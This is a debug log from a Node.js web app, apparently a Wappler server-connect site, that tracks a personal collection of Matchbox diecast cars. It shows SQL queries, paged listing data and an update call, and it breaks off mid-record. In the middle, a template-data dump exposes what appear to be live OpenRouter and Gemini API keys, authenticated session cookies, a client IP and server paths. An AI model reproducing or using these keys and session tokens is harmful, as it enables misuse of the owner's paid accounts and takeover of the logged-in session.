2026-02-04T06:47:03.773Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:47:03.773Z server-connect:app Executing action step identify
2026-02-04T06:47:03.773Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:03.773Z server-connect:output identity: 1
2026-02-04T06:47:03.773Z server-connect:app Executing action step restrict
2026-02-04T06:47:03.773Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:03.774Z server-connect:output restrict: undefined
2026-02-04T06:47:03.774Z server-connect:app Executing action step paged
2026-02-04T06:47:03.774Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:47:03.777Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:47:04.053Z server-connect:router Serving templateView /
2026-02-04T06:47:04.053Z server-connect:app Executing action step identify
2026-02-04T06:47:04.053Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:04.053Z server-connect:output identity: 1
2026-02-04T06:47:04.053Z server-connect:app Executing action step restrict
2026-02-04T06:47:04.053Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:04.054Z server-connect:output restrict: undefined
2026-02-04T06:47:04.054Z server-connect:app Executing action step restrict
2026-02-04T06:47:04.054Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:04.054Z server-connect:output restrict: undefined
2026-02-04T06:47:04.054Z server-connect:router Render template layouts/main
2026-02-04T06:47:04.054Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T06:47:10.968Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:47:10.968Z server-connect:app Executing action step identify
2026-02-04T06:47:10.968Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:10.968Z server-connect:output identity: 1
2026-02-04T06:47:10.968Z server-connect:app Executing action step restrict
2026-02-04T06:47:10.968Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:10.968Z server-connect:output restrict: undefined
2026-02-04T06:47:10.969Z server-connect:app Executing action step condition
2026-02-04T06:47:10.969Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:47:10.969Z server-connect:app Executing action step update
2026-02-04T06:47:10.969Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:47:10.969Z server-connect:output update: { affected: 1 }
2026-02-04T06:47:10.969Z server-connect:app Executing action step upload
2026-02-04T06:47:10.969Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:47:10.970Z server-connect:output upload_image: []
2026-02-04T06:47:10.970Z server-connect:app Executing action step repeat
2026-02-04T06:47:10.970Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:47:10.970Z server-connect:output repeat_images: []
2026-02-04T06:47:10.970Z server-connect:output condition: undefined
2026-02-04T06:47:11.219Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:47:11.220Z server-connect:app Executing action step identify
2026-02-04T06:47:11.220Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:11.220Z server-connect:output identity: 1
2026-02-04T06:47:11.220Z server-connect:app Executing action step restrict
2026-02-04T06:47:11.220Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:11.220Z server-connect:output restrict: undefined
2026-02-04T06:47:11.220Z server-connect:app Executing action step paged
2026-02-04T06:47:11.220Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:47:11.222Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
